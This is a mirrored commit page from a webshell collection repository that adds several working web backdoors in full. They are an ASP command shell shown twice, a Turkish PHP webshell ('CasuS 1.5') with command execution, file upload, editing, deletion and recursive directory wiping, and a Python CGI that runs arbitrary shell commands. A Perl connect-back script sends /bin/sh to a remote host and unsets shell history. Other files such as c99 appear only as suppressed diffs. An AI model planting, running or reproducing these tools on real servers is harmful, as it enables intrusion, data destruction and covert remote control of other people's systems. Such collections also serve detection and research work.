mirror of
https://github.com/tennc/webshell.git
synced 2025-12-22 23:59:02 +00:00
138shell update
This commit is contained in:
tennc
53
138shell/C/CMD.asp.txt
Normal file
53
138shell/C/CMD.asp.txt
Normal file
@@ -0,0 +1,53 @@
|
||||
<%@ Language=VBScript %>
|
||||
<%
|
||||
' --------------------o0o--------------------
|
||||
' File: CmdAsp.asp
|
||||
' Author: Maceo <maceo @ dogmile.com>
|
||||
' Release: 2000-12-01
|
||||
' OS: Windows 2000, 4.0 NT
|
||||
' -------------------------------------------
|
||||
|
||||
Dim oScript
|
||||
Dim oScriptNet
|
||||
Dim oFileSys, oFile
|
||||
Dim szCMD, szTempFile
|
||||
|
||||
On Error Resume Next
|
||||
|
||||
' -- create the COM objects that we will be using -- '
|
||||
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
|
||||
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
|
||||
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
|
||||
|
||||
' -- check for a command that we have posted -- '
|
||||
szCMD = Request.Form(".CMD")
|
||||
If (szCMD <> "") Then
|
||||
|
||||
' -- Use a poor man's pipe ... a temp file -- '
|
||||
szTempFile = "C:\" & oFileSys.GetTempName( )
|
||||
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
|
||||
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
|
||||
|
||||
End If
|
||||
|
||||
%>
|
||||
<HTML>
|
||||
<BODY>
|
||||
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
|
||||
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
|
||||
<input type=submit value="Run">
|
||||
</FORM>
|
||||
<PRE>
|
||||
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
|
||||
<br>
|
||||
<%
|
||||
If (IsObject(oFile)) Then
|
||||
' -- Read the output from our command and remove the temp file -- '
|
||||
On Error Resume Next
|
||||
Response.Write Server.HTMLEncode(oFile.ReadAll)
|
||||
oFile.Close
|
||||
Call oFileSys.DeleteFile(szTempFile, True)
|
||||
End If
|
||||
%>
|
||||
</BODY>
|
||||
</HTML>
|
||||
368
138shell/C/Casus15.php.txt
Normal file
368
138shell/C/Casus15.php.txt
Normal file
@@ -0,0 +1,368 @@
|
||||
<?php
|
||||
$default=$DOCUMENT_ROOT;
|
||||
$this_file="./casus15.php";
|
||||
|
||||
|
||||
|
||||
if(isset($save)){
|
||||
$fname=str_replace(" ","_",$fname);
|
||||
$fname=str_replace("%20","_",$fname);
|
||||
header("Cache-control: private");
|
||||
header("Content-type: application/force-download");
|
||||
header("Content-Length: ".filesize($save));
|
||||
header("Content-Disposition: attachment; filename=$fname");
|
||||
|
||||
$fp = fopen($save, 'r');
|
||||
fpassthru($fp);
|
||||
fclose($fp);
|
||||
unset($save);
|
||||
exit;
|
||||
}
|
||||
|
||||
if ( function_exists('ini_get') ) {
|
||||
$onoff = ini_get('register_globals');
|
||||
} else {
|
||||
$onoff = get_cfg_var('register_globals');
|
||||
}
|
||||
if ($onoff != 1) {
|
||||
@extract($_POST, EXTR_SKIP);
|
||||
@extract($_GET, EXTR_SKIP);
|
||||
}
|
||||
|
||||
|
||||
function deltree($deldir) {
|
||||
$mydir=@dir($deldir);
|
||||
while($file=$mydir->read()) {
|
||||
if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) {
|
||||
@chmod("$deldir/$file",0777);
|
||||
deltree("$deldir/$file");
|
||||
}
|
||||
if (is_file("$deldir/$file")) {
|
||||
@chmod("$deldir/$file",0777);
|
||||
@unlink("$deldir/$file");
|
||||
}
|
||||
}
|
||||
$mydir->close();
|
||||
@chmod("$deldir",0777);
|
||||
echo @rmdir($deldir) ? "<center><b><font color='#0000FF'>SYLYNDY:$deldir/$file</b></font></center>" : "<center><font color=\"#ff0000\">Silinemedi:$deldir/$file</font></center>";
|
||||
}
|
||||
|
||||
if ($op=='phpinfo'){
|
||||
$fonk_kap = get_cfg_var("fonksiyonlary_kapat");
|
||||
echo $phpinfo=(!eregi("phpinfo",$fonk_kapat)) ? phpinfo() : "<center>phpinfo() Komutu <20>aly?myyiii</center>";
|
||||
exit;
|
||||
}
|
||||
|
||||
if ($op=='me'){
|
||||
echo "<html>
|
||||
<head>
|
||||
<title>CEHENNEMDEN <20>IKAN <20>ILGIN T<>RK</title>
|
||||
</head>
|
||||
<body bgcolor='#000000' text='#0000FF' link='#0000FF' vlink='#0000FF' alink='#00FF00'>
|
||||
<center>Fazla s<>ze gerek yok...</center>
|
||||
<center><br>O yanlyz bir kovboy,<br>
|
||||
<br>O cehennemden <20>ykan <20>ylgyn T<>RK,<br>
|
||||
<br>O bir rap manya?y,<br>
|
||||
<br>O bir php coder,<br>
|
||||
<br>O'nun hackten daha <20>ok sevdi?i tek ?ey iki hack,<br>
|
||||
<br>O...<br>
|
||||
<br>O'nun kim olduunu biliyorsunuz O tabiki...<br>
|
||||
<br></center>";
|
||||
|
||||
$sayi='7';
|
||||
while($sayi>=1){
|
||||
echo "<center><font size='$sayi' color='#FFFFFF'>HACKLERIN<font color='#008000'> EFENDISI</font> <font color='#FF0000'>MAFIABOY</font> </font></center>";
|
||||
$sayi--;
|
||||
}
|
||||
$sayi2='1';
|
||||
while($sayi2<=7){
|
||||
echo "<center><font size='$sayi2' color='#008000'>baddog@hotmail.com</font></center>";
|
||||
$sayi2++;
|
||||
};
|
||||
|
||||
echo "</body>
|
||||
</html>";
|
||||
exit;
|
||||
}
|
||||
|
||||
|
||||
echo "<html>
|
||||
<head>
|
||||
<title>CasuS 1.5 by MafiABoY</title>
|
||||
</head>
|
||||
|
||||
<body bgcolor='#000000' text='#008000' link='#00FF00' vlink='#00FF00' alink='#00FF00'>
|
||||
</body>";
|
||||
|
||||
echo "<center><font size='+3' color='#FF0000'><b> CasuS 1.5!!! Powered by MafiABoY</b></font></center><br>
|
||||
<center><font size='+2' color='#FFFFFF'>A TURKISH </font><font size='+2' color='#FF0000'>HACKER</font><br>
|
||||
<br>";
|
||||
echo "<center><a href='./$this_file?dir=$dir'>ANA BOLUM</a></center>";
|
||||
echo "<br>";
|
||||
echo "<center><a href='./$this_file?op=phpinfo' target='_blank'>PHP INFO</a></center>";
|
||||
echo "<br>";
|
||||
echo "<center><a href='./$this_file?op=wshell&dir=$dir'>WEB SHELL</a></center>";
|
||||
echo "<br>
|
||||
<br>
|
||||
<br>";
|
||||
echo "<center>---><a href='./$this_file?op=me' target='_blank'>MafiABoY</a><---</center>";
|
||||
|
||||
echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------";
|
||||
echo "<div align=center>
|
||||
<font size='+1' color='#0000FF'><u>Root Klas<61>r</u>: $DOCUMENT_ROOT</font><br>
|
||||
<font size='+1'color='#0000FF'><u>CasuS 1.5'in URL'si</u>: http://$HTTP_HOST$REDIRECT_URL</font> <form method=post action=$this_file>";
|
||||
|
||||
if(!isset($dir)){
|
||||
$dir="$default";
|
||||
}
|
||||
echo "<input type=text size=60 name=dir value='$dir'>
|
||||
<input type=submit value='GIT'><br>
|
||||
</form>
|
||||
</div>";
|
||||
|
||||
if ($op=='wshell'){
|
||||
echo "<br><center><font size='+1' color='#FF0000'>WEBSHELL</font></center>";
|
||||
if (isset($ok)){
|
||||
if (empty($kod)){
|
||||
die ("<center><font color='#FF0000'>LEN MANYAK KOMUT YAZMAZSAN NE MOK Y?YNE YARAR</font><center>");
|
||||
}
|
||||
echo "<form method='Post' action='./$this_file?op=wshell&dir=$dir'>
|
||||
<br>";
|
||||
echo "<center><input type=text size=35 name=kod value='$kod'><input type=submit name=ok value='CALISTIR'>
|
||||
<br>
|
||||
<br></center></form>";
|
||||
echo "<center><TEXTAREA rows=30 cols=85 readonly>";
|
||||
system("$kod");
|
||||
echo "</TEXTAREA></center>";
|
||||
exit;
|
||||
|
||||
} elseif (empty($ok)){
|
||||
echo "<form method='Post' action='./$this_file?op=wshell&dir=$dir'>
|
||||
<br>";
|
||||
echo "<center><input type=text size=35 name=kod value='Calistirmak istediginiz komutu buraya girin'><input type=submit name=ok value='CALISTIR'>
|
||||
<br>
|
||||
<br></center></form>";
|
||||
echo "<center><TEXTAREA rows=30 cols=85></TEXTAREA></center>";
|
||||
exit;
|
||||
}
|
||||
}
|
||||
|
||||
if ($op=='up'){
|
||||
$path=dir;
|
||||
echo "<br><br><center><font size='+1' color='#FF0000'><b>DOSYA GONDERME</b></font></center><br>";
|
||||
if(isset($dy)) {
|
||||
|
||||
if(empty($dosya_gonder)){
|
||||
} else {
|
||||
copy ( $dosya_gonder, "$dir/$dosya_gonder_name") ? print("$dosya_gonder_name <font color='#0000FF'>kopyalandy</font><br>") : print("$dosya_gonder_name <font color='#FF0000'>kopyalanamady</font><br>");
|
||||
}
|
||||
|
||||
if(empty($dosya_gonder2)){
|
||||
} else {
|
||||
copy ( $dosya_gonder2, "$dir/$dosya_gonder2_name") ? print("$dosya_gonder2_name <font color='#0000FF'>kopyaland</font>y<br>") : print("$dosya_gonder2_name <font color='#FF0000'>kopyalanamady</font><br>");
|
||||
}
|
||||
|
||||
if(empty($dosya_gonder3)){
|
||||
} else {
|
||||
copy ( $dosya_gonder3, "$dir/$dosya_gonder3_name") ? print("$dosya_gonder3_name <font color='#0000FF'>kopyalandy</font><br>") : print("$dosya_gonder3_name <font color='#FF0000'>kopyalanamady</font><br>");
|
||||
}
|
||||
|
||||
if(empty($dosya_gonder4)){
|
||||
} else {
|
||||
copy ( $dosya_gonder4, "$dir/$dosya_gonder4_name") ? print("$dosya_gonder4_name <font color='#0000FF'>kopyalandy</font><br>") : print("$dosya_gonder4_name <font color='#FF0000'>kopyalanamady</font><br>");
|
||||
}
|
||||
|
||||
} elseif(empty($dy )) {
|
||||
$path=$dir;
|
||||
$dir = $dosya_dizin;
|
||||
echo "$dir";
|
||||
echo "<FORM ENCTYPE='multipart/form-data' ACTION='$this_file?op=up&dir=$path' METHOD='POST'>";
|
||||
echo "<center><INPUT TYPE='file' NAME='dosya_gonder'></center><br>";
|
||||
echo "<center><INPUT TYPE='file' NAME='dosya_gonder2'></center><br>";
|
||||
echo "<center><INPUT TYPE='file' NAME='dosya_gonder3'></center><br>";
|
||||
echo "<center><INPUT TYPE='file' NAME='dosya_gonder4'></center><br>";
|
||||
|
||||
echo "<br><center><INPUT TYPE='SUBMIT' NAME='dy' VALUE='Dosya Yolla!'></center>";
|
||||
echo "</form>";
|
||||
|
||||
|
||||
echo "</html>";
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if($op=='mf'){
|
||||
$path=$dir;
|
||||
if(isset($dismi) && isset($kodlar)){
|
||||
$ydosya="$path/$dismi";
|
||||
if(file_exists("$path/$dismi")){
|
||||
$dos= "B<>yle Bir Dosya Vardy <20>zerine Yazyldy";
|
||||
} else {
|
||||
$dos = "Dosya Olu?turuldu";
|
||||
}
|
||||
touch ("$path/$dismi") or die("Dosya Olu?turulamyyor");
|
||||
$ydosya2 = fopen("$ydosya", 'w') or die("Dosya yazmak i<>in a<>ylamyyor");
|
||||
fwrite($ydosya2, $kodlar) or die("Dosyaya yazylamyyor");
|
||||
fclose($ydosya2);
|
||||
echo "<center><font color='#0000FF'>$dos</font></center>";
|
||||
} else {
|
||||
|
||||
echo "<FORM METHOD='POST' ACTION='$this_file?op=mf&dir=$path'>";
|
||||
echo "<center>Dosya Ysmi :<input type='text' name='dismi'></center><br>";
|
||||
echo "<br>";
|
||||
echo "<center>KODLAR</center><br>";
|
||||
echo "<center><TEXTAREA NAME='kodlar' ROWS='19' COLS='52'></TEXTAREA></center>";
|
||||
echo "<center><INPUT TYPE='submit' name='okmf' value='TAMAM'></center>";
|
||||
echo "</form>";
|
||||
}
|
||||
}
|
||||
|
||||
if($op=='md'){
|
||||
$path=$dir;
|
||||
if(isset($kismi) && isset($okmf)){
|
||||
$klas<61>r="$path/$kismi";
|
||||
mkdir("$klas<61>r", 0777) or die ("<center><font color='#0000FF'>Klas<61>r Olu?turulamyyor</font></center>");
|
||||
echo "<center><font color='#0000FF'>Klas<61>r Olu?turuldu</font></center>";
|
||||
}
|
||||
|
||||
echo "<FORM METHOD='POST' ACTION='$this_file?op=md&dir=$path'>";
|
||||
echo "<center>Klas<61>r Ysmi :<input type='text' name='kismi'></center><br>";
|
||||
echo "<br>";
|
||||
echo "<center><INPUT TYPE='submit' name='okmf' value='TAMAM'></center>";
|
||||
echo "</form>";
|
||||
}
|
||||
|
||||
|
||||
if($op=='del'){
|
||||
unlink("$fname");
|
||||
}
|
||||
|
||||
|
||||
if($op=='dd'){
|
||||
$dir=$here;
|
||||
$deldirs=$yol;
|
||||
if(!file_exists("$deldirs")) {
|
||||
echo "<font color=\"#ff0000\">Dosya Yok</font>";
|
||||
} else {
|
||||
deltree($deldirs);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
if($op=='edit'){
|
||||
$yol=$fname;
|
||||
$yold=$path;
|
||||
if (isset($ok)){
|
||||
$dosya = fopen("$yol", 'w') or die("Dosya A<>ylamyyor");
|
||||
$metin=$tarea;
|
||||
fwrite($dosya, $metin) or die("Yazylamyyor!");
|
||||
fclose($dosya);
|
||||
echo "<center><font color='#0000FF'Dosya Ba?aryyla D<>zenlendi</font></center>";
|
||||
} else {
|
||||
$path=$dir;
|
||||
echo "<center>D<>ZENLE: $yol</center>";
|
||||
$dosya = fopen("$yol", 'r') or die("<center><font color='#FF0000'Dosya A<>ylamyyor</font></center>");
|
||||
$boyut=filesize($yol);
|
||||
$duzen = @fread ($dosya, $boyut);
|
||||
echo "<form method=post action=$this_file?op=edit&fname=$yol&dir=$path>";
|
||||
echo "<center><TEXTAREA style='WIDTH: 476px; HEIGHT: 383px' name=tarea rows=19 cols=52>$duzen</TEXTAREA></center><br>";
|
||||
echo "<center><input type='Submit' value='TAMAM' name='ok'></center>";
|
||||
fclose($dosya);
|
||||
$duzen=htmlspecialchars($duzen);
|
||||
echo "</form>";
|
||||
}
|
||||
}
|
||||
|
||||
if($op=='efp2'){
|
||||
$fileperm=base_convert($_POST['fileperm'],8,10);
|
||||
echo $msg=@chmod($dir."/".$dismi2,$fileperm) ? "<font color='#0000FF'><b>$dismi2 YSYMLY DOSYANIN</font></b>" : "<font color=\"#ff0000\">DEY?TYRYLEMEDY!!</font>";
|
||||
echo " <font color='#0000FF'>CHMODU ".substr(base_convert(@fileperms($dir."/".$dismi2),10,8),-4)." OLARAK DEY?TYRYLDY</font>";
|
||||
}
|
||||
|
||||
if($op=='efp'){
|
||||
$izinler2=substr(base_convert(@fileperms($fname),10,8),-4);
|
||||
echo "<form method=post action=./$this_file?op=efp2>
|
||||
<div align=center><input name='dismi2' type='text' value='$dismi' class='input' readonly>CHMOD:
|
||||
<input type='text' name='fileperm' size='20' value='$izinler2' class='input'>
|
||||
<input name='dir' type='hidden' value='$yol'>
|
||||
<input type='submit' value='TAMAM' class='input'></div><br>
|
||||
</form>";
|
||||
|
||||
}
|
||||
|
||||
|
||||
$path=$dir;
|
||||
if(isset($dir)){
|
||||
if ($dir = @opendir("$dir")) {
|
||||
while (($file = readdir($dir)) !== false) {
|
||||
if($file!="." && $file!=".."){
|
||||
if(is_file("$path/$file")){
|
||||
$disk_space=filesize("$path/$file");
|
||||
$kb=$disk_space/1024;
|
||||
$total_kb = number_format($kb, 2, '.', '');
|
||||
$total_kb2="Kb";
|
||||
|
||||
|
||||
echo "<div align=right><font face='arial' size='2' color='#C0C0C0'><b> $file</b></font> - <a href='./$this_file?save=$path/$file&fname=$file'>indir</a> - <a href='./$this_file?op=edit&fname=$path/$file&dir=$path'>d<>zenle</a> - ";
|
||||
echo "<a href='./$this_file?op=del&fname=$path/$file&dir=$path'>sil</a> - <b>$total_kb$total_kb2</b> - ";
|
||||
@$fileperm=substr(base_convert(fileperms("$path/$file"),10,8),-4);
|
||||
echo "<a href='./$this_file?op=efp&fname=$path/$file&dismi=$file&yol=$path'><font color='#FFFF00'>$fileperm</font></a>";
|
||||
echo "<br></div>\n";
|
||||
}else{
|
||||
echo "<div align=left><a href='./$this_file?dir=$path/$file'>GYT></a> <font face='arial' size='3' color='#808080'> $path/$file</font> - <b>DIR</b> - <a href='./$this_file?op=dd&yol=$path/$file&here=$path'>Sil</a> - ";
|
||||
$dirperm=substr(base_convert(fileperms("$path/$file"),10,8),-4);
|
||||
echo "<font color='#FFFF00'>$dirperm</font>";
|
||||
echo " <br></div>\n";
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
closedir($dir);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
echo "<center>------------------------------</center>";
|
||||
echo "<center><a href='./$this_file?dir=$DOCUMENT_ROOT'>Root Klas<61>r<EFBFBD>ne Git</a></center>";
|
||||
echo "<center><a href='./$this_file?dir=/'>Linux K<>k Dizinine Git</a></center>";
|
||||
if(file_exists("B:\\")){
|
||||
echo "<center><a href='./$this_file?dir=B:\\'>B:\\</a></center>";
|
||||
} else {}
|
||||
if(file_exists("C:\\")){
|
||||
echo "<center><a href='./$this_file?dir=C:\\'>C:\\</a></center>";
|
||||
} else {}
|
||||
if (file_exists("D:\\")){
|
||||
echo "<center><a href='./$this_file?dir=D:\\'>D:\\</a></center>";
|
||||
} else {}
|
||||
if (file_exists("E:\\")){
|
||||
echo "<center><a href='./$this_file?dir=E:\\'>E:\\</a></center>";
|
||||
} else {}
|
||||
if (file_exists("F:\\")){
|
||||
echo "<center><a href='./$this_file?dir=F:\\'>F:\\</a></center>";
|
||||
} else {}
|
||||
if (file_exists("G:\\")){
|
||||
echo "<center><a href='./$this_file?dir=G:\\'>G:\\</a></center>";
|
||||
} else {}
|
||||
if (file_exists("H:\\")){
|
||||
echo "<center><a href='./$this_file?dir=H:\\'>H:\\</a></center>";
|
||||
} else {}
|
||||
|
||||
|
||||
echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------";
|
||||
echo "<center><font size='+1' color='#FF0000'><b>SERVER BYLGYLERY</b></font><br></center>";
|
||||
echo "<br><u><b>$SERVER_SIGNATURE</b></u>";
|
||||
echo "<b><u>Software</u>: $SERVER_SOFTWARE</b><br>";
|
||||
echo "<b><u>Server IP</u>: $SERVER_ADDR</b><br>";
|
||||
echo "<br>";
|
||||
echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------";
|
||||
echo "<center><font size='+1' color='#FF0000'><b>Y?LEMLER</b></font><br></center>";
|
||||
echo "<br><center><font size='4'><a href='$this_file?op=up&dir=$path'>Dosya G<>nder</a></font></center>";
|
||||
echo "<br><center><font size='4'><a href='$this_file?op=mf&dir=$path'>Dosya Olu?tur</a></font></center>";
|
||||
echo "<br><center><font size='4'><a href='$this_file?op=md&dir=$path'>Klas<61>r Olu?tur</a></font></center>";
|
||||
echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------";
|
||||
echo "<br>
|
||||
<center>T<>m haklary sahibi MafiABoY'a aittir</center>";
|
||||
?>
|
||||
55
138shell/C/CmdAsp.asp.txt
Normal file
55
138shell/C/CmdAsp.asp.txt
Normal file
@@ -0,0 +1,55 @@
|
||||
<++ CmdAsp.asp ++>
|
||||
<%@ Language=VBScript %>
|
||||
<%
|
||||
' --------------------o0o--------------------
|
||||
' File: CmdAsp.asp
|
||||
' Author: Maceo <maceo @ dogmile.com>
|
||||
' Release: 2000-12-01
|
||||
' OS: Windows 2000, 4.0 NT
|
||||
' -------------------------------------------
|
||||
|
||||
Dim oScript
|
||||
Dim oScriptNet
|
||||
Dim oFileSys, oFile
|
||||
Dim szCMD, szTempFile
|
||||
|
||||
On Error Resume Next
|
||||
|
||||
' -- create the COM objects that we will be using -- '
|
||||
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
|
||||
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
|
||||
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
|
||||
|
||||
' -- check for a command that we have posted -- '
|
||||
szCMD = Request.Form(".CMD")
|
||||
If (szCMD <> "") Then
|
||||
|
||||
' -- Use a poor man's pipe ... a temp file -- '
|
||||
szTempFile = "C:\" & oFileSys.GetTempName( )
|
||||
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
|
||||
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
|
||||
|
||||
End If
|
||||
|
||||
%>
|
||||
<HTML>
|
||||
<BODY>
|
||||
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
|
||||
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
|
||||
<input type=submit value="Run">
|
||||
</FORM>
|
||||
<PRE>
|
||||
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
|
||||
<br>
|
||||
<%
|
||||
If (IsObject(oFile)) Then
|
||||
' -- Read the output from our command and remove the temp file -- '
|
||||
On Error Resume Next
|
||||
Response.Write Server.HTMLEncode(oFile.ReadAll)
|
||||
oFile.Close
|
||||
Call oFileSys.DeleteFile(szTempFile, True)
|
||||
End If
|
||||
%>
|
||||
</BODY>
|
||||
</HTML>
|
||||
<-- CmdAsp.asp -->
|
||||
1127
138shell/C/Crystal.txt
Normal file
1127
138shell/C/Crystal.txt
Normal file
File diff suppressed because it is too large
Load Diff
2
138shell/C/CyberSpy5.Asp.txt
Normal file
2
138shell/C/CyberSpy5.Asp.txt
Normal file
File diff suppressed because one or more lines are too long
3595
138shell/C/c100.txt
Normal file
3595
138shell/C/c100.txt
Normal file
File diff suppressed because one or more lines are too long
3299
138shell/C/c2007.php.txt
Normal file
3299
138shell/C/c2007.php.txt
Normal file
File diff suppressed because it is too large
Load Diff
2735
138shell/C/c99(1).php.txt
Normal file
2735
138shell/C/c99(1).php.txt
Normal file
File diff suppressed because it is too large
Load Diff
2927
138shell/C/c99.txt
Normal file
2927
138shell/C/c99.txt
Normal file
File diff suppressed because it is too large
Load Diff
124
138shell/C/cgi-python.py.txt
Normal file
124
138shell/C/cgi-python.py.txt
Normal file
@@ -0,0 +1,124 @@
|
||||
#!/usr/bin/python
|
||||
# 07-07-04
|
||||
# v1.0.0
|
||||
|
||||
# cgi-shell.py
|
||||
# A simple CGI that executes arbitrary shell commands.
|
||||
|
||||
|
||||
# Copyright Michael Foord
|
||||
# You are free to modify, use and relicense this code.
|
||||
|
||||
# No warranty express or implied for the accuracy, fitness to purpose or otherwise for this code....
|
||||
# Use at your own risk !!!
|
||||
|
||||
# E-mail michael AT foord DOT me DOT uk
|
||||
# Maintained at www.voidspace.org.uk/atlantibots/pythonutils.html
|
||||
|
||||
"""
|
||||
A simple CGI script to execute shell commands via CGI.
|
||||
"""
|
||||
################################################################
|
||||
# Imports
|
||||
try:
|
||||
import cgitb; cgitb.enable()
|
||||
except:
|
||||
pass
|
||||
import sys, cgi, os
|
||||
sys.stderr = sys.stdout
|
||||
from time import strftime
|
||||
import traceback
|
||||
from StringIO import StringIO
|
||||
from traceback import print_exc
|
||||
|
||||
################################################################
|
||||
# constants
|
||||
|
||||
fontline = '<FONT COLOR=#424242 style="font-family:times;font-size:12pt;">'
|
||||
versionstring = 'Version 1.0.0 7th July 2004'
|
||||
|
||||
if os.environ.has_key("SCRIPT_NAME"):
|
||||
scriptname = os.environ["SCRIPT_NAME"]
|
||||
else:
|
||||
scriptname = ""
|
||||
|
||||
METHOD = '"POST"'
|
||||
|
||||
################################################################
|
||||
# Private functions and variables
|
||||
|
||||
def getform(valuelist, theform, notpresent=''):
|
||||
"""This function, given a CGI form, extracts the data from it, based on
|
||||
valuelist passed in. Any non-present values are set to '' - although this can be changed.
|
||||
(e.g. to return None so you can test for missing keywords - where '' is a valid answer but to have the field missing isn't.)"""
|
||||
data = {}
|
||||
for field in valuelist:
|
||||
if not theform.has_key(field):
|
||||
data[field] = notpresent
|
||||
else:
|
||||
if type(theform[field]) != type([]):
|
||||
data[field] = theform[field].value
|
||||
else:
|
||||
values = map(lambda x: x.value, theform[field]) # allows for list type values
|
||||
data[field] = values
|
||||
return data
|
||||
|
||||
|
||||
theformhead = """<HTML><HEAD><TITLE>cgi-shell.py - a CGI by Fuzzyman</TITLE></HEAD>
|
||||
<BODY><CENTER>
|
||||
<H1>Welcome to cgi-shell.py - <BR>a Python CGI</H1>
|
||||
<B><I>By Fuzzyman</B></I><BR>
|
||||
"""+fontline +"Version : " + versionstring + """, Running on : """ + strftime('%I:%M %p, %A %d %B, %Y')+'.</CENTER><BR>'
|
||||
|
||||
theform = """<H2>Enter Command</H2>
|
||||
<FORM METHOD=\"""" + METHOD + '" action="' + scriptname + """\">
|
||||
<input name=cmd type=text><BR>
|
||||
<input type=submit value="Submit"><BR>
|
||||
</FORM><BR><BR>"""
|
||||
bodyend = '</BODY></HTML>'
|
||||
errormess = '<CENTER><H2>Something Went Wrong</H2><BR><PRE>'
|
||||
|
||||
################################################################
|
||||
# main body of the script
|
||||
|
||||
if __name__ == '__main__':
|
||||
print "Content-type: text/html" # this is the header to the server
|
||||
print # so is this blank line
|
||||
form = cgi.FieldStorage()
|
||||
data = getform(['cmd'],form)
|
||||
thecmd = data['cmd']
|
||||
print theformhead
|
||||
print theform
|
||||
if thecmd:
|
||||
print '<HR><BR><BR>'
|
||||
print '<B>Command : ', thecmd, '<BR><BR>'
|
||||
print 'Result : <BR><BR>'
|
||||
try:
|
||||
child_stdin, child_stdout = os.popen2(thecmd)
|
||||
child_stdin.close()
|
||||
result = child_stdout.read()
|
||||
child_stdout.close()
|
||||
print result.replace('\n', '<BR>')
|
||||
|
||||
except Exception, e: # an error in executing the command
|
||||
print errormess
|
||||
f = StringIO()
|
||||
print_exc(file=f)
|
||||
a = f.getvalue().splitlines()
|
||||
for line in a:
|
||||
print line
|
||||
|
||||
print bodyend
|
||||
|
||||
|
||||
"""
|
||||
TODO/ISSUES
|
||||
|
||||
|
||||
|
||||
CHANGELOG
|
||||
|
||||
07-07-04 Version 1.0.0
|
||||
A very basic system for executing shell commands.
|
||||
I may expand it into a proper 'environment' with session persistence...
|
||||
"""
|
||||
61
138shell/C/connectback2.pl.txt
Normal file
61
138shell/C/connectback2.pl.txt
Normal file
@@ -0,0 +1,61 @@
|
||||
#!/usr/bin/perl
|
||||
use IO::Socket;
|
||||
#WwW.CoM Security Hackers
|
||||
#coded bY: MasterKid
|
||||
#We Are: MasterKid, AleXutz, FatMan & MiKuTuL
|
||||
#Email: muzicteam2006@yahoo.com
|
||||
#
|
||||
#kid@SlackwareLinux:/home/programing$ perl dc.pl
|
||||
#--== ConnectBack Backdoor Shell vs 1.0 bY MasterKid of WwW.CoM Hackers SABOTAGE ==--
|
||||
#
|
||||
#Usage: dc.pl [Host] [Port]
|
||||
#
|
||||
#Ex: dc.pl 127.0.0.1 2121
|
||||
#kid@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121
|
||||
#--== ConnectBack Backdoor Shell vs 1.0 bY MasterKid of WwW.CoM Hackers SABOTAGE ==--
|
||||
#
|
||||
#[*] Resolving HostName
|
||||
#[*] Connecting... 127.0.0.1
|
||||
#[*] Spawning Shell
|
||||
#[*] Connected to remote host
|
||||
|
||||
#bash-2.05b# nc -vv -l -p 2121
|
||||
#listening on [any] 2121 ...
|
||||
#connect to [127.0.0.1] from localhost [127.0.0.1] 32769
|
||||
#--== ConnectBack Backdoor vs 1.0 bY MasterKid of WwW.CoM Hackers SABOTAGE ==--
|
||||
#
|
||||
#--==Systeminfo==--
|
||||
#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux
|
||||
#
|
||||
#--==Userinfo==--
|
||||
#uid=1001(lord) gid=100(users) groups=100(users)
|
||||
#
|
||||
#--==Directory==--
|
||||
#/root
|
||||
#
|
||||
#--==Shell==--
|
||||
#
|
||||
$system = '/bin/sh';
|
||||
$ARGC=@ARGV;
|
||||
print "--== ConnectBack Backdoor Shell vs 1.0 bY MasterKid of WwW.CoM Hackers SABOTAGE ==-- \n\n";
|
||||
if ($ARGC!=2) {
|
||||
print "Usage: $0 [Host] [Port] \n\n";
|
||||
die "Ex: $0 127.0.0.1 2121 \n";
|
||||
}
|
||||
use Socket;
|
||||
use FileHandle;
|
||||
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
|
||||
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
|
||||
print "[*] Resolving HostName\n";
|
||||
print "[*] Connecting... $ARGV[0] \n";
|
||||
print "[*] Spawning Shell \n";
|
||||
print "[*] Connected to remote host \n";
|
||||
SOCKET->autoflush();
|
||||
open(STDIN, ">&SOCKET");
|
||||
open(STDOUT,">&SOCKET");
|
||||
open(STDERR,">&SOCKET");
|
||||
print "--== ConnectBack Backdoor vs 1.0 bY MasterKid of WwW.CoM Hackers SABOTAGE ==-- \n\n";
|
||||
system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo;
|
||||
echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- ");
|
||||
system($system);
|
||||
#EOF
|
||||
2927
138shell/C/ctt_sh.php.txt
Normal file
2927
138shell/C/ctt_sh.php.txt
Normal file
File diff suppressed because it is too large
Load Diff
2927
138shell/C/ctt_sh.txt
Normal file
2927
138shell/C/ctt_sh.txt
Normal file
File diff suppressed because it is too large
Load Diff
1033
138shell/C/cybershell.php.txt
Normal file
1033
138shell/C/cybershell.php.txt
Normal file
File diff suppressed because it is too large
Load Diff
1033
138shell/C/cybershell.txt
Normal file
1033
138shell/C/cybershell.txt
Normal file
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user